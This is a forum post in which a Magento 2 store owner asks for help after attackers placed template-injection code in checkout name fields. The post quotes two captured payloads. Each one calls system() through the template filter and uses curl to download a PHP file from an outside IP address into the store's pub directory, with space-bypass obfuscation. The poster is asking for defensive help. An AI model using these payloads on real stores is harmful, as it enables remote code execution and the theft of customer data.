Urgent help regarding code/template injection requested

Hi, I manage a magento 2 store but am relatively new to it. Over the past two days someone tried to inject code and potentially download a file to our system by purchasing a product and putting the code in the billing/shipping name. I understand I might be asking too much from the community but I am really scared especially of the security of my customers. Please help me in what security I can take?

These are the codes:
Code 1:
{{var this.getTemp lateFil ter().filt er(order)}} {{var this.getTemp lateFil ter().add AfterFil terCallb ack(system).Fil ter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}cache.php${IFS%??}http://185.157.161.207/cache.php?m=22356-33713-37223)}}

Code 2:
{{var this.getTemp lateFil ter().filter(firstname)}} {{var this.getTemp lateFil ter().add AfterFil terCallb ack(system).Filter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}health_check.php${IFS%??}http://185.157.161.162/cache.php?m=39371-6242-43000)}}Urgent help regarding code/template injection requested

My magento version is Magento ver. 2.4.4 and I have a mageplaza One Step Checkout extension set up.